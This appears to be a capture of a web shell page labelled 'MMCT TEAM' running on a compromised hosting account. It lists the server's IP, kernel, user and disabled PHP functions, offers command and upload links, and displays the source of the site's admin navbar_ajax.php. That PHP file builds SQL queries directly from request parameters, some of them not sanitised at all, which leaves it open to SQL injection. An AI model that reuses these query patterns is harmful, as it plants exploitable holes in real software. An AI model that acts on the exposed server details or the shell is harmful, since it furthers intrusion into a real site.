MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.225.98.59
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/navbar_ajax.php
<?php
require_once 'lib/core.php';

//FETCHING NAVBAR DATA

if(isset($_GET['show_navbar']))
{
    $sql="select distinct n1.*,n2.head as nav_parent from navbar as n1 left join navbar as n2 on n1.parent=n2.id";
    //where n1.id in(select navbar_id from navbar_access where staff_id=$user_id) or n1.id in (select parent from navbar where id in (select navbar_id from navbar_access where staff_id=$user_id))
     if($result=$conn->query($sql))
     {
         if($result->num_rows>0)
         {
             while($row=$result->fetch_assoc())
             {
                 $navbar[]=$row;
             }
             echo json_encode($navbar);
         }
         else
             echo "error";
     }
}

     
//ADDING DATA TO NAVBAR

if(isset($_POST['name']))
{
    $name=test_input($_POST['name']);
    $parent=test_input($_POST['parent']);
    $link=test_input($_POST['link']);        
    $icon=test_input($_POST['aicon']);
    if($icon==='NULL' && $parent==='NULL')
        $sql="insert into navbar(head,link) values('$name','$link')";
     else if($icon==='NULL')
        $sql="insert into navbar(head,parent,link) values('$name','$parent','$link')";
    else if($parent==='NULL')
        $sql="insert into navbar(head, link,icon) values('$name','$link','$icon')";
    else
        $sql="insert into navbar(head,parent,link,icon) values('$name','$parent','$link','$icon')";
    if($conn->query($sql)===true)
    {
        $navbar_id=$conn->insert_id;
        if(isset($_POST['page_value']))
        {
            $options=$_POST['page_value'];
            foreach ($options as $option) 
            {
                $page_value=$option["name"];
                $sql="insert into navbar_corresponding_pages(navbar_id,link) values ($navbar_id,'$page_value')";
                if($conn->query($sql))
                {
                    echo "success";
                }
                else
                {
                    $sql="delete from navbar_corresponding_pages where navbar_id=$navbar_id";
                    $conn->query($sql);
                    $sql="delete from navbar where id=$navbar_id";
                    $conn->query($sql);
                    $error=$conn->error;
                    break;
                }
            }
        }
        else
        {
            echo "success";
        }
    }
    else
    {
        echo "true";

    }
}

//DELETING NAVBAR DATA

if(isset($_POST['delete_id']))
{
    $m_id=test_input($_POST['delete_id']);
    $sql="delete from navbar_corresponding_pages where navbar_id=$m_id";
    if($conn->query($sql))
    {
        $sql="delete from navbar where id=$m_id";
        if($conn->query($sql)===true)
        {
            echo "success";
        }
        else
        {
            echo "true";
        }
    }
    else
    {
        echo "true";
    }
}
  

//EDIT NAVBAR DATA

if(isset($_POST['edit']))
{
    $name=test_input($_POST['ename']);
    $parent=test_input($_POST['eselect']);
    $link=test_input($_POST['elink']);
    $icon=test_input($_POST['eicon']);
    $navbar_id=$_POST['edit'];
    if($parent==='nothing')
        $sql="update navbar set parent = DEFAULT,`head` = '$name', link='$link',icon='$icon' WHERE id=".$_POST['edit'];
    else
        $sql="UPDATE `navbar` SET `head` = '$name', `parent` = $parent, link='$link',icon='$icon' WHERE `id` =".$_POST['edit'];
    if($conn->query($sql)===true)
    {
        if(isset($_POST['page_edit_value']))
        {
            $corresponding_pages_edit_values=$_POST['page_edit_value'];
            foreach ($corresponding_pages_edit_values as $cpev) 
            {
                $page_id=$cpev["id"];
                $page_value=$_POST['page_edit_value_link'.$page_id];
                $sql="update navbar_corresponding_pages set link='$page_value' where id=$page_id";
                if($conn->query($sql))
                {
                    echo "success";
                }
                else
                {
                    $error=$conn->error;
                    break;
                }
            }
        }
        if(isset($_POST['page_value_corresponding']))
        {
            $options=$_POST['page_value_corresponding'];
            foreach ($options as $option) 
            {
                $page_value=$option["name"];
                $sql="insert into navbar_corresponding_pages(navbar_id,link) values ($navbar_id,'$page_value')";
                if($conn->query($sql))
                {
                    echo "success";
                }
                else
                {
                    $error=$conn->error;
                    break;
                }
            }
        }
        else
        {
            echo "success";
        }
    }
    else
    {
        echo "error";
    }
}

	
	//Corresponding Pages data Return
	if(isset($_POST['corresponding_page_id']))
	{
		$navbar_id=$_POST['corresponding_page_id'];
		$sql="select id,link from navbar_corresponding_pages where navbar_id=$navbar_id";
		if($result=$conn->query($sql))
		{
			if($result->num_rows>0)
			{
				$html="";
				while($row=$result->fetch_assoc())
				{
					$html .= '<tr id="corresponding-page-row' .$row['id']. '">';
					$html .= '<td class="text-left">';
					$html .= '<div class="input-group">';
					$html .= '<input type="hidden" name="page_edit_value[' . $row['id'] . '][id]" value="'.$row['id'].'">';
					$html .= '<input type="text" name="page_edit_value_link'.$row['id'].'" value="'.$row['link'].'" placeholder="Corresponding Page Name" class="form-control" size="100%" />';
					$html .= '</div>';
					$html .= '</td>';
					$html .= '<td class="text-right"><button id="'.$row['id'].'" type="button" data-toggle="tooltip" title="Remove" class="btn btn-danger remover"><i class="fa fa-minus-circle"></i></button></td>';
					$html .= '</tr>';
				}
				echo $html;
			}
			else
			{
				echo 'nothing';
			}
		}
		else
		{
			echo 'error';
		}
	}
	
	//Corresponding Pages Data Delete
	if(isset($_POST['corresponding_page_edit_id']))
	{
		$page_id=$_POST['corresponding_page_edit_id'];
		$sql="delete from navbar_corresponding_pages where id=$page_id";
		if($conn->query($sql))
		{
			echo 'success';
		}
		else
		{
			echo 'error';
		}
	}
	
	
?>

MMCT - 2023